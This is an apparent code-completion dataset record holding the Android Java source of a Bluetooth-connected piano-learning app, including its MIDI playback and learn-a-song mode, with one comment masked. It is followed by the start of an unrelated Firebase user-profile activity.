octaveSelector = new OctaveSelector();
//Learning
tileToPress = findViewById(R.id.tile_white_0);
sChecker = new SignalCheckerThread(this);
learnToggle = findViewById(R.id.switch_piago);
learnToggle.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
LearningMode = true;
octaveSelector.SetOctaveLearn();
} else {
LearningMode = false;
tileToPress.setBackground(OriginalBackground(tileToPress.getId()));
}
ModeSwitcher(LearningMode);
}
});
//Buttons
previewButton = findViewById(R.id.button_preview);
startButton = findViewById(R.id.button_start_song);
octaveHigher = findViewById(R.id.button_octave_higher);
octaveLower = findViewById(R.id.button_octave_lower);
selectSong = findViewById(R.id.button_change_song);
activeSong = findViewById(R.id.textView_active_song);
activeSongByteArray = learn.FatherJacob;
activeSongIntArray = learn.FatherJacobTiming;
alertDialog = new AlertDialogBuilder();
}
@Override
protected void onResume() {
super.onResume();
midiDriver.start();
config = midiDriver.config();
learnToggle.setChecked(false);
sChecker.start();
}
@Override
protected void onPause() {
super.onPause();
midiDriver.stop();
}
Button pressedTile;
public void playSound(String sound) {
if (ReceivedBluetoothSignal != null) {
switch (sound) {
case "00000": {
pressedTile = findViewById(R.id.tile_white_0);
PlayNotePause(octaveSelector.ActiveOctaveArray[0], pressedTile);
break;
}
case "00010": {
pressedTile = findViewById(R.id.tile_white_1);
PlayNotePause(octaveSelector.ActiveOctaveArray[2], pressedTile);
break;
}
case "00100": {
pressedTile = findViewById(R.id.tile_white_2);
PlayNotePause(octaveSelector.ActiveOctaveArray[4], pressedTile);
break;
}
case "00110": {
pressedTile = findViewById(R.id.tile_white_3);
PlayNotePause(octaveSelector.ActiveOctaveArray[6], pressedTile);
break;
}
case "00111": {
pressedTile = findViewById(R.id.tile_white_4);
PlayNotePause(octaveSelector.ActiveOctaveArray[7], pressedTile);
break;
}
case "01001": {
pressedTile = findViewById(R.id.tile_white_5);
PlayNotePause(octaveSelector.ActiveOctaveArray[9], pressedTile);
break;
}
case "01011": {
pressedTile = findViewById(R.id.tile_white_6);
PlayNotePause(octaveSelector.ActiveOctaveArray[11], pressedTile);
break;
}
case "01100": {
pressedTile = findViewById(R.id.tile_white_7);
PlayNotePause(octaveSelector.ActiveOctaveArray[12], pressedTile);
break;
}
case "01110": {
pressedTile = findViewById(R.id.tile_white_8);
PlayNotePause(octaveSelector.ActiveOctaveArray[14], pressedTile);
break;
}
case "10000": {
pressedTile = findViewById(R.id.tile_white_9);
PlayNotePause(octaveSelector.ActiveOctaveArray[16], pressedTile);
break;
}
case "10010": {
pressedTile = findViewById(R.id.tile_white_10);
PlayNotePause(octaveSelector.ActiveOctaveArray[18], pressedTile);
break;
}
case "10011": {
pressedTile = findViewById(R.id.tile_white_11);
PlayNotePause(octaveSelector.ActiveOctaveArray[19], pressedTile);
break;
}
case "10101": {
pressedTile = findViewById(R.id.tile_white_12);
PlayNotePause(octaveSelector.ActiveOctaveArray[21], pressedTile);
break;
}
case "10111": {
pressedTile = findViewById(R.id.tile_white_13);
PlayNotePause(octaveSelector.ActiveOctaveArray[23], pressedTile);
break;
}
case "11000": {
pressedTile = findViewById(R.id.tile_white_14);
PlayNotePause(octaveSelector.ActiveOctaveArray[24], pressedTile);
break;
}
case "11010": {
pressedTile = findViewById(R.id.tile_white_15);
PlayNotePause(octaveSelector.ActiveOctaveArray[26], pressedTile);
break;
}
case "11100": {
pressedTile = findViewById(R.id.tile_white_16);
PlayNotePause(octaveSelector.ActiveOctaveArray[28], pressedTile);
break;
}
case "11110": {
pressedTile = findViewById(R.id.tile_white_17);
PlayNotePause(octaveSelector.ActiveOctaveArray[30], pressedTile);
break;
}
case "00001": {
pressedTile = findViewById(R.id.tile_black_0);
PlayNotePause(octaveSelector.ActiveOctaveArray[1], pressedTile);
break;
}
case "00011": {
pressedTile = findViewById(R.id.tile_black_1);
PlayNotePause(octaveSelector.ActiveOctaveArray[3], pressedTile);
break;
}
case "00101": {
pressedTile = findViewById(R.id.tile_black_2);
PlayNotePause(octaveSelector.ActiveOctaveArray[5], pressedTile);
break;
}
case "01000": {
pressedTile = findViewById(R.id.tile_black_3);
PlayNotePause(octaveSelector.ActiveOctaveArray[8], pressedTile);
break;
}
case "01010": {
pressedTile = findViewById(R.id.tile_black_4);
PlayNotePause(octaveSelector.ActiveOctaveArray[10], pressedTile);
break;
}
case "01101": {
pressedTile = findViewById(R.id.tile_black_5);
PlayNotePause(octaveSelector.ActiveOctaveArray[13], pressedTile);
break;
}
case "01111": {
pressedTile = findViewById(R.id.tile_black_6);
PlayNotePause(octaveSelector.ActiveOctaveArray[15], pressedTile);
break;
}
case "10001": {
pressedTile = findViewById(R.id.tile_black_7);
PlayNotePause(octaveSelector.ActiveOctaveArray[17], pressedTile);
break;
}
case "10100": {
pressedTile = findViewById(R.id.tile_black_8);
PlayNotePause(octaveSelector.ActiveOctaveArray[20], pressedTile);
break;
}
case "10110": {
pressedTile = findViewById(R.id.tile_black_9);
PlayNotePause(octaveSelector.ActiveOctaveArray[22], pressedTile);
break;
}
case "11001": {
pressedTile = findViewById(R.id.tile_black_10);
PlayNotePause(octaveSelector.ActiveOctaveArray[25], pressedTile);
break;
}
case "11011": {
pressedTile = findViewById(R.id.tile_black_11);
PlayNotePause(octaveSelector.ActiveOctaveArray[27], pressedTile);
break;
}
case "11101": {
pressedTile = findViewById(R.id.tile_black_12);
PlayNotePause(octaveSelector.ActiveOctaveArray[29], pressedTile);
break;
}
default:
break;
}
ReceivedBluetoothSignal = null;
}
}
//Test method
public void playSoundNow(View view) {
EditText eT = (EditText) findViewById(R.id.testValue);
if (eT.getText().toString().equals("11111")) {
CorrectNotePlayer correctNotePlayer = new CorrectNotePlayer(this);
correctNotePlayer.start();
} else {
ReceivedBluetoothSignal = eT.getText().toString();
}
}
private void PauseMethod(final Button pressedTile) {
pressedTile.setBackgroundResource(R.drawable.tile_pressed);
new CountDownTimer(200, 100) {
public void onFinish() {
pressedTile.setBackground(OriginalBackground(pressedTile.getId()));
}
public void onTick(long millisUntilFinished) {
}
}.start();
}
public void PlayNotePause(byte note, final Button pressedTile) {
piagoMidiDriver.playNote(note);
Log.i("Debugkey", "_______________Note played through PlayNotePause");
PauseMethod(pressedTile);
}
public void changeInstrument(View view) {
alertDialog.showAlertDialogInstrument(PlayPiago.this, instrumentButton, piagoMidiDriver);
}
public void changeSong(View view) {
alertDialog.showAlertDialogSong(PlayPiago.this, this);
}
public void octaveLower(View view) {
octaveSelector.OctaveDown();
}
public void octaveHigher(View view) {
octaveSelector.OctaveUp();
}
// BLUETOOTH STUFF
private BluetoothSocket createBluetoothSocket(BluetoothDevice device) throws IOException {
return device.createRfcommSocketToServiceRecord(BTMODULEUUID);
//creates secure outgoing connection with BT device using UUID
}
public void previewSong(View view) {
tileToPress.setBackground(OriginalBackground(tileToPress.getId()));
songStarted = false;
noteNumber = 0;
previewSongThread = new PreviewSongThread(this, activeSongByteArray, activeSongIntArray);
previewSongThread.start();
}
public void startSong(View view) {
tileToPress.setBackground(OriginalBackground(tileToPress.getId()));
noteNumber = 0;
ShowCurrentNote(activeSongByteArray);
songStarted = true;
}
private class ConnectedThread extends Thread {
private final BluetoothSocket mmSocket;
private final InputStream mmInStream;
private final OutputStream mmOutStream;
public ConnectedThread(BluetoothSocket socket) {
mmSocket = socket;
InputStream tmpIn = null;
OutputStream tmpOut = null;
// Get the input and output streams, using temp objects because
// member streams are final
try {
tmpIn = socket.getInputStream();
tmpOut = socket.getOutputStream();
} catch (IOException e) {
}
mmInStream = tmpIn;
mmOutStream = tmpOut;
}
public void run() {
byte[] buffer = new byte[1024]; // buffer store for the stream
int bytes; // bytes returned from read()
// Keep listening to the InputStream until an exception occurs
while (true) {
try {
// Read from the InputStream
bytes = mmInStream.available();
if (bytes != 0) {
SystemClock.sleep(100); //pause and wait for rest of data. Adjust this depending on your sending speed.
//bytes = mmInStream.available(); // how many bytes are ready to be read?
bytes = mmInStream.read(buffer);
mHandler.obtainMessage(MESSAGE_READ, bytes, 1, buffer)
.sendToTarget(); // Send the obtained bytes to the UI activity
}
} catch (IOException e) {
e.printStackTrace();
break;
}
}
}
/* Call this from the main activity to send data to the remote device */
public void write(String input) {
byte[] bytes = input.getBytes(); //converts entered String into bytes
try {
mmOutStream.write(bytes);
} catch (IOException e) {
}
}
/* Call this from the main activity to shutdown the connection */
public void cancel() {
try {
mmSocket.close();
} catch (IOException e) {
}
}
}
public Boolean notePlayed = false;
//Learn
public void LearnSong(byte[] noteArray) {
if (!noteIsShown) {
ShowCurrentNote(noteArray);
}
if (!notePlayed) {
CheckNotePlayed(noteArray);
}
if (noteNumber >= noteArray.length) {
noteNumber = 0;
songStarted = false;
}
}
private void PauseMethodLearn(final Button pressedTile, final int backgGroundStatus, final byte[] array) {
pressedTile.setBackgroundResource(backgGroundStatus);
Log.i("Debugkey", "Key pressedTile BG set to green or red");
new CountDownTimer(200, 100) {
public void onFinish() {
pressedTile.setBackground(OriginalBackground(pressedTile.getId()));
Log.i("Debugkey", "PressedTile BG back to original");
tileToPress.setBackground(OriginalBackground(tileToPress.getId()));
Log.i("Debugkey", "TileToPress BG back to original");
ShowCurrentNote(array);
}
public void onTick(long millisUntilFinished) {
}
}.start();
}
//Laat de noot zien die gespeeld moet worden
public void ShowCurrentNote(byte[] noteArray) {
Integer noteIndex = 0;
for (int i = 0; i < octaveSelector.ActiveOctaveArray.length; i++) {
if (noteArray[noteNumber] == octaveSelector.ActiveOctaveArray[i])
noteIndex = i;
}
tileToPress = findViewById(learn.KeyArray[noteIndex]);
tileToPress.setBackgroundResource(R.drawable.tile_to_press);
Log.i("Debugkey", "Key tileToPress is set to Blue, key index " + noteIndex);
noteIsShown = true;
notePlayed = false;
Log.i("Debugkey", "ShowCurrentNote() executed");
}
//Check of er een bluetoothsignaal is, zo ja check of het overeenkomt met hetgene dat nodig is
public void CheckNotePlayed(final byte[] array) {
if (ReceivedBluetoothSignal != null) {
playSound(ReceivedBluetoothSignal);
Log.i("Debugkey", "Sound played through checknoteplayed()");
if (pressedTile == tileToPress) {
//Is de noot correct, laat dan een groene background kort zien
PauseMethodLearn(pressedTile, R.drawable.tile_pressed, array);
//Log.i("BT", "Correct key");
noteNumber++;
} else {
//is de noot incorrect, laat dan een rode achtergrond zien
PauseMethodLearn(pressedTile, R.drawable.tile_pressed_fault, array);
}
notePlayed = true;
Log.i("Debugkey", "ChecknotePlayed() executed");
}
}
private void ModeSwitcher(boolean learnModeOn) {
if (learnModeOn) {
octaveLower.setVisibility(View.GONE);
octaveHigher.setVisibility(View.GONE);
previewButton.setVisibility(View.VISIBLE);
startButton.setVisibility(View.VISIBLE);
} else {
previewButton.setVisibility(View.GONE);
startButton.setVisibility(View.GONE);
octaveLower.setVisibility(View.VISIBLE);
octaveHigher.setVisibility(View.VISIBLE);
}
}
public Drawable OriginalBackground(int tileResource) {
return BGHandler.Original(tileResource, this);
}
} | AP-IT-GH/intprojectrepo-piago | PiaGOApp/app/src/main/java/com/interproject/piago/PlayPiago.java | 6,380 | //Laat de noot zien die gespeeld moet worden | line_comment | nl | package com.interproject.piago;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import android.annotation.SuppressLint;
import android.content.DialogInterface;
import android.content.Intent;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothDevice;
import android.bluetooth.BluetoothSocket;
import android.graphics.Color;
import android.graphics.drawable.Drawable;
import android.media.AudioManager;
import android.media.MediaPlayer;
import android.media.ToneGenerator;
import android.os.Bundle;
import android.os.CountDownTimer;
import android.os.Handler;
import android.os.SystemClock;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.CompoundButton;
import android.widget.EditText;
import android.widget.Switch;
import android.widget.TextView;
import android.widget.Toast;
import android.widget.ToggleButton;
import com.google.android.gms.common.annotation.KeepForSdkWithFieldsAndMethods;
import org.billthefarmer.mididriver.MidiDriver;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.util.UUID;
public class PlayPiago extends AppCompatActivity {
public String Instrument;
//For playing piano with different instruments in midi-player
private MidiDriver midiDriver;
public PiagoMidiDriver piagoMidiDriver;
private int[] config;
public Button instrumentButton;
//BLUETOOTH STUFF
private Handler mHandler;
private BluetoothSocket mBTSocket = null; // bi-directional client-to-client data path
private ConnectedThread mConnectedThread;
private BluetoothAdapter mBTAdapter;
private Button mButtonAutoCnct;
// #defines for identifying shared types between calling functions
private final static int REQUEST_ENABLE_BT = 1; // used to identify adding bluetooth names
private final static int MESSAGE_READ = 2; // used in bluetooth handler to identify message update
private final static int CONNECTING_STATUS = 3; // used in bluetooth handler to identify message status
private static final UUID BTMODULEUUID = UUID.fromString("00001101-0000-1000-8000-00805F9B34FB"); // "random" unique identifier
public String ReceivedBluetoothSignal;
public String CheckReceived;
public OctaveSelector octaveSelector;
//LearnSongs
public Boolean songStarted = false;
public LearnSongs learn = new LearnSongs();
public Integer noteNumber = 0;
public Button tileToPress;
public Boolean noteIsShown = false;
SignalCheckerThread sChecker;
PreviewSongThread previewSongThread;
public Boolean LearningMode = false;
public Switch learnToggle;
//Buttons
Button previewButton;
Button startButton;
Button octaveHigher;
Button octaveLower;
Button selectSong;
TextView activeSong;
byte[] activeSongByteArray = new byte[]{};
int[] activeSongIntArray = new int[]{};
AlertDialogBuilder alertDialog;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_play_piago);
mButtonAutoCnct = (Button) findViewById(R.id.button_autocnct);
mBTAdapter = BluetoothAdapter.getDefaultAdapter(); // get a handle on the bluetooth radio
mButtonAutoCnct.setBackgroundColor(Color.RED);
mButtonAutoCnct.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
new Thread() {
public void run() {
boolean fail = false;
// Change adress to static MAC adress
// BluetoothDevice device = mBTAdapter.getRemoteDevice(address);
BluetoothDevice device = mBTAdapter.getRemoteDevice("98:D3:31:FD:17:0A");
//DEVICE FINLAND
//BluetoothDevice device = mBTAdapter.getRemoteDevice("B4:E6:2D:DF:4B:83");
try {
mBTSocket = createBluetoothSocket(device);
} catch (IOException e) {
fail = true;
Toast.makeText(getBaseContext(), "Socket creation failed", Toast.LENGTH_SHORT).show();
}
// Establish the Bluetooth socket connection.
try {
mBTSocket.connect();
} catch (IOException e) {
try {
fail = true;
mBTSocket.close();
mHandler.obtainMessage(CONNECTING_STATUS, -1, -1)
.sendToTarget();
} catch (IOException e2) {
//insert code to deal with this
Toast.makeText(getBaseContext(), "Socket creation failed", Toast.LENGTH_SHORT).show();
}
}
if (fail == false) {
mConnectedThread = new ConnectedThread(mBTSocket);
mConnectedThread.start();
mButtonAutoCnct.setBackgroundColor(Color.GREEN);
mHandler.obtainMessage(CONNECTING_STATUS, 1, -1, "Piago Keyboard")
.sendToTarget();
}
}
}.start();
}
});
mHandler = new Handler() {
public void handleMessage(android.os.Message msg) {
if (msg.what == MESSAGE_READ) {
String readMessage = null;
try {
readMessage = new String((byte[]) msg.obj, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
CheckReceived = "1";
ReceivedBluetoothSignal = (readMessage.substring(0, 5));
Log.d("BTRECEIVED", "handleMessage: receiving msg from arduino" + ReceivedBluetoothSignal);
}
}
};
ReceivedBluetoothSignal = null;
CheckReceived = null;
Instrument = "piano";
//Midi-player
midiDriver = new MidiDriver();
piagoMidiDriver = new PiagoMidiDriver(midiDriver);
instrumentButton = findViewById(R.id.button_change_instrument);
//Lower / Higher notes
octaveSelector = new OctaveSelector();
//Learning
tileToPress = findViewById(R.id.tile_white_0);
sChecker = new SignalCheckerThread(this);
learnToggle = findViewById(R.id.switch_piago);
learnToggle.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
LearningMode = true;
octaveSelector.SetOctaveLearn();
} else {
LearningMode = false;
tileToPress.setBackground(OriginalBackground(tileToPress.getId()));
}
ModeSwitcher(LearningMode);
}
});
//Buttons
previewButton = findViewById(R.id.button_preview);
startButton = findViewById(R.id.button_start_song);
octaveHigher = findViewById(R.id.button_octave_higher);
octaveLower = findViewById(R.id.button_octave_lower);
selectSong = findViewById(R.id.button_change_song);
activeSong = findViewById(R.id.textView_active_song);
activeSongByteArray = learn.FatherJacob;
activeSongIntArray = learn.FatherJacobTiming;
alertDialog = new AlertDialogBuilder();
}
@Override
protected void onResume() {
super.onResume();
midiDriver.start();
config = midiDriver.config();
learnToggle.setChecked(false);
sChecker.start();
}
@Override
protected void onPause() {
super.onPause();
midiDriver.stop();
}
Button pressedTile;
public void playSound(String sound) {
if (ReceivedBluetoothSignal != null) {
switch (sound) {
case "00000": {
pressedTile = findViewById(R.id.tile_white_0);
PlayNotePause(octaveSelector.ActiveOctaveArray[0], pressedTile);
break;
}
case "00010": {
pressedTile = findViewById(R.id.tile_white_1);
PlayNotePause(octaveSelector.ActiveOctaveArray[2], pressedTile);
break;
}
case "00100": {
pressedTile = findViewById(R.id.tile_white_2);
PlayNotePause(octaveSelector.ActiveOctaveArray[4], pressedTile);
break;
}
case "00110": {
pressedTile = findViewById(R.id.tile_white_3);
PlayNotePause(octaveSelector.ActiveOctaveArray[6], pressedTile);
break;
}
case "00111": {
pressedTile = findViewById(R.id.tile_white_4);
PlayNotePause(octaveSelector.ActiveOctaveArray[7], pressedTile);
break;
}
case "01001": {
pressedTile = findViewById(R.id.tile_white_5);
PlayNotePause(octaveSelector.ActiveOctaveArray[9], pressedTile);
break;
}
case "01011": {
pressedTile = findViewById(R.id.tile_white_6);
PlayNotePause(octaveSelector.ActiveOctaveArray[11], pressedTile);
break;
}
case "01100": {
pressedTile = findViewById(R.id.tile_white_7);
PlayNotePause(octaveSelector.ActiveOctaveArray[12], pressedTile);
break;
}
case "01110": {
pressedTile = findViewById(R.id.tile_white_8);
PlayNotePause(octaveSelector.ActiveOctaveArray[14], pressedTile);
break;
}
case "10000": {
pressedTile = findViewById(R.id.tile_white_9);
PlayNotePause(octaveSelector.ActiveOctaveArray[16], pressedTile);
break;
}
case "10010": {
pressedTile = findViewById(R.id.tile_white_10);
PlayNotePause(octaveSelector.ActiveOctaveArray[18], pressedTile);
break;
}
case "10011": {
pressedTile = findViewById(R.id.tile_white_11);
PlayNotePause(octaveSelector.ActiveOctaveArray[19], pressedTile);
break;
}
case "10101": {
pressedTile = findViewById(R.id.tile_white_12);
PlayNotePause(octaveSelector.ActiveOctaveArray[21], pressedTile);
break;
}
case "10111": {
pressedTile = findViewById(R.id.tile_white_13);
PlayNotePause(octaveSelector.ActiveOctaveArray[23], pressedTile);
break;
}
case "11000": {
pressedTile = findViewById(R.id.tile_white_14);
PlayNotePause(octaveSelector.ActiveOctaveArray[24], pressedTile);
break;
}
case "11010": {
pressedTile = findViewById(R.id.tile_white_15);
PlayNotePause(octaveSelector.ActiveOctaveArray[26], pressedTile);
break;
}
case "11100": {
pressedTile = findViewById(R.id.tile_white_16);
PlayNotePause(octaveSelector.ActiveOctaveArray[28], pressedTile);
break;
}
case "11110": {
pressedTile = findViewById(R.id.tile_white_17);
PlayNotePause(octaveSelector.ActiveOctaveArray[30], pressedTile);
break;
}
case "00001": {
pressedTile = findViewById(R.id.tile_black_0);
PlayNotePause(octaveSelector.ActiveOctaveArray[1], pressedTile);
break;
}
case "00011": {
pressedTile = findViewById(R.id.tile_black_1);
PlayNotePause(octaveSelector.ActiveOctaveArray[3], pressedTile);
break;
}
case "00101": {
pressedTile = findViewById(R.id.tile_black_2);
PlayNotePause(octaveSelector.ActiveOctaveArray[5], pressedTile);
break;
}
case "01000": {
pressedTile = findViewById(R.id.tile_black_3);
PlayNotePause(octaveSelector.ActiveOctaveArray[8], pressedTile);
break;
}
case "01010": {
pressedTile = findViewById(R.id.tile_black_4);
PlayNotePause(octaveSelector.ActiveOctaveArray[10], pressedTile);
break;
}
case "01101": {
pressedTile = findViewById(R.id.tile_black_5);
PlayNotePause(octaveSelector.ActiveOctaveArray[13], pressedTile);
break;
}
case "01111": {
pressedTile = findViewById(R.id.tile_black_6);
PlayNotePause(octaveSelector.ActiveOctaveArray[15], pressedTile);
break;
}
case "10001": {
pressedTile = findViewById(R.id.tile_black_7);
PlayNotePause(octaveSelector.ActiveOctaveArray[17], pressedTile);
break;
}
case "10100": {
pressedTile = findViewById(R.id.tile_black_8);
PlayNotePause(octaveSelector.ActiveOctaveArray[20], pressedTile);
break;
}
case "10110": {
pressedTile = findViewById(R.id.tile_black_9);
PlayNotePause(octaveSelector.ActiveOctaveArray[22], pressedTile);
break;
}
case "11001": {
pressedTile = findViewById(R.id.tile_black_10);
PlayNotePause(octaveSelector.ActiveOctaveArray[25], pressedTile);
break;
}
case "11011": {
pressedTile = findViewById(R.id.tile_black_11);
PlayNotePause(octaveSelector.ActiveOctaveArray[27], pressedTile);
break;
}
case "11101": {
pressedTile = findViewById(R.id.tile_black_12);
PlayNotePause(octaveSelector.ActiveOctaveArray[29], pressedTile);
break;
}
default:
break;
}
ReceivedBluetoothSignal = null;
}
}
//Test method
public void playSoundNow(View view) {
EditText eT = (EditText) findViewById(R.id.testValue);
if (eT.getText().toString().equals("11111")) {
CorrectNotePlayer correctNotePlayer = new CorrectNotePlayer(this);
correctNotePlayer.start();
} else {
ReceivedBluetoothSignal = eT.getText().toString();
}
}
private void PauseMethod(final Button pressedTile) {
pressedTile.setBackgroundResource(R.drawable.tile_pressed);
new CountDownTimer(200, 100) {
public void onFinish() {
pressedTile.setBackground(OriginalBackground(pressedTile.getId()));
}
public void onTick(long millisUntilFinished) {
}
}.start();
}
public void PlayNotePause(byte note, final Button pressedTile) {
piagoMidiDriver.playNote(note);
Log.i("Debugkey", "_______________Note played through PlayNotePause");
PauseMethod(pressedTile);
}
public void changeInstrument(View view) {
alertDialog.showAlertDialogInstrument(PlayPiago.this, instrumentButton, piagoMidiDriver);
}
public void changeSong(View view) {
alertDialog.showAlertDialogSong(PlayPiago.this, this);
}
public void octaveLower(View view) {
octaveSelector.OctaveDown();
}
public void octaveHigher(View view) {
octaveSelector.OctaveUp();
}
// BLUETOOTH STUFF
private BluetoothSocket createBluetoothSocket(BluetoothDevice device) throws IOException {
return device.createRfcommSocketToServiceRecord(BTMODULEUUID);
//creates secure outgoing connection with BT device using UUID
}
public void previewSong(View view) {
tileToPress.setBackground(OriginalBackground(tileToPress.getId()));
songStarted = false;
noteNumber = 0;
previewSongThread = new PreviewSongThread(this, activeSongByteArray, activeSongIntArray);
previewSongThread.start();
}
public void startSong(View view) {
tileToPress.setBackground(OriginalBackground(tileToPress.getId()));
noteNumber = 0;
ShowCurrentNote(activeSongByteArray);
songStarted = true;
}
private class ConnectedThread extends Thread {
private final BluetoothSocket mmSocket;
private final InputStream mmInStream;
private final OutputStream mmOutStream;
public ConnectedThread(BluetoothSocket socket) {
mmSocket = socket;
InputStream tmpIn = null;
OutputStream tmpOut = null;
// Get the input and output streams, using temp objects because
// member streams are final
try {
tmpIn = socket.getInputStream();
tmpOut = socket.getOutputStream();
} catch (IOException e) {
}
mmInStream = tmpIn;
mmOutStream = tmpOut;
}
public void run() {
byte[] buffer = new byte[1024]; // buffer store for the stream
int bytes; // bytes returned from read()
// Keep listening to the InputStream until an exception occurs
while (true) {
try {
// Read from the InputStream
bytes = mmInStream.available();
if (bytes != 0) {
SystemClock.sleep(100); //pause and wait for rest of data. Adjust this depending on your sending speed.
//bytes = mmInStream.available(); // how many bytes are ready to be read?
bytes = mmInStream.read(buffer);
mHandler.obtainMessage(MESSAGE_READ, bytes, 1, buffer)
.sendToTarget(); // Send the obtained bytes to the UI activity
}
} catch (IOException e) {
e.printStackTrace();
break;
}
}
}
/* Call this from the main activity to send data to the remote device */
public void write(String input) {
byte[] bytes = input.getBytes(); //converts entered String into bytes
try {
mmOutStream.write(bytes);
} catch (IOException e) {
}
}
/* Call this from the main activity to shutdown the connection */
public void cancel() {
try {
mmSocket.close();
} catch (IOException e) {
}
}
}
public Boolean notePlayed = false;
//Learn
public void LearnSong(byte[] noteArray) {
if (!noteIsShown) {
ShowCurrentNote(noteArray);
}
if (!notePlayed) {
CheckNotePlayed(noteArray);
}
if (noteNumber >= noteArray.length) {
noteNumber = 0;
songStarted = false;
}
}
private void PauseMethodLearn(final Button pressedTile, final int backgGroundStatus, final byte[] array) {
pressedTile.setBackgroundResource(backgGroundStatus);
Log.i("Debugkey", "Key pressedTile BG set to green or red");
new CountDownTimer(200, 100) {
public void onFinish() {
pressedTile.setBackground(OriginalBackground(pressedTile.getId()));
Log.i("Debugkey", "PressedTile BG back to original");
tileToPress.setBackground(OriginalBackground(tileToPress.getId()));
Log.i("Debugkey", "TileToPress BG back to original");
ShowCurrentNote(array);
}
public void onTick(long millisUntilFinished) {
}
}.start();
}
//Laat de<SUF>
public void ShowCurrentNote(byte[] noteArray) {
Integer noteIndex = 0;
for (int i = 0; i < octaveSelector.ActiveOctaveArray.length; i++) {
if (noteArray[noteNumber] == octaveSelector.ActiveOctaveArray[i])
noteIndex = i;
}
tileToPress = findViewById(learn.KeyArray[noteIndex]);
tileToPress.setBackgroundResource(R.drawable.tile_to_press);
Log.i("Debugkey", "Key tileToPress is set to Blue, key index " + noteIndex);
noteIsShown = true;
notePlayed = false;
Log.i("Debugkey", "ShowCurrentNote() executed");
}
//Check of er een bluetoothsignaal is, zo ja check of het overeenkomt met hetgene dat nodig is
public void CheckNotePlayed(final byte[] array) {
if (ReceivedBluetoothSignal != null) {
playSound(ReceivedBluetoothSignal);
Log.i("Debugkey", "Sound played through checknoteplayed()");
if (pressedTile == tileToPress) {
//Is de noot correct, laat dan een groene background kort zien
PauseMethodLearn(pressedTile, R.drawable.tile_pressed, array);
//Log.i("BT", "Correct key");
noteNumber++;
} else {
//is de noot incorrect, laat dan een rode achtergrond zien
PauseMethodLearn(pressedTile, R.drawable.tile_pressed_fault, array);
}
notePlayed = true;
Log.i("Debugkey", "ChecknotePlayed() executed");
}
}
private void ModeSwitcher(boolean learnModeOn) {
if (learnModeOn) {
octaveLower.setVisibility(View.GONE);
octaveHigher.setVisibility(View.GONE);
previewButton.setVisibility(View.VISIBLE);
startButton.setVisibility(View.VISIBLE);
} else {
previewButton.setVisibility(View.GONE);
startButton.setVisibility(View.GONE);
octaveLower.setVisibility(View.VISIBLE);
octaveHigher.setVisibility(View.VISIBLE);
}
}
public Drawable OriginalBackground(int tileResource) {
return BGHandler.Original(tileResource, this);
}
} |
169774_32 | package com.app.vinnie.myapplication;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.annotation.RequiresApi;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import android.Manifest;
import android.app.Activity;
import android.app.ProgressDialog;
import android.content.ContentValues;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.provider.MediaStore;
import android.text.TextUtils;
import android.util.Log;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;
import android.widget.Toast;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.OnFailureListener;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.android.gms.tasks.Task;
import com.google.android.material.bottomnavigation.BottomNavigationView;
import com.google.android.material.floatingactionbutton.FloatingActionButton;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseUser;
import com.google.firebase.database.DataSnapshot;
import com.google.firebase.database.DatabaseError;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.database.Query;
import com.google.firebase.database.ValueEventListener;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.DocumentSnapshot;
import com.google.firebase.firestore.EventListener;
import com.google.firebase.firestore.FieldValue;
import com.google.firebase.firestore.FirebaseFirestore;
import com.google.firebase.firestore.FirebaseFirestoreException;
import com.google.firebase.firestore.SetOptions;
import com.google.firebase.storage.StorageReference;
import com.google.firebase.storage.UploadTask;
import com.squareup.picasso.Picasso;
import java.security.Key;
import java.util.HashMap;
import java.util.Map;
import static com.google.firebase.storage.FirebaseStorage.getInstance;
public class Profile extends AppCompatActivity {
BottomNavigationView mBottomnavigation;
Button mdeleteButton;
TextView mUsername, mPhone, mEmail;
ImageView mProfilepic;
FloatingActionButton mfab;
ProgressDialog pd;
//farebase
FirebaseUser muser;
FirebaseAuth mAuth;
FirebaseFirestore mStore;
DatabaseReference mDatabaseref;
FirebaseDatabase mdatabase;
//storage
StorageReference storageReference;
//path where images of user profile will be stored
String storagePath = "Users_Profile_Imgs/";
String userID;
//uri of picked image
Uri image_uri;
//
private static final int CAMERA_REQUEST_CODE = 100;
private static final int STORAGE_REQUEST_CODE = 200;
private static final int IMAGE_PICK_GALLERY_CODE = 300;
private static final int IMAGE_PICK_CAMERA_CODE = 400;
//arrays of permission to be requested
String cameraPermissions[];
String storagePermissions[];
//TRY
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_profile);
//TRY
//init firebase
muser = FirebaseAuth.getInstance().getCurrentUser();
mAuth = FirebaseAuth.getInstance();
mStore = FirebaseFirestore.getInstance();
userID = mAuth.getCurrentUser().getUid();
storageReference = getInstance().getReference(); //fbase stor ref
//views
mdeleteButton = findViewById(R.id.ButtonDelete);
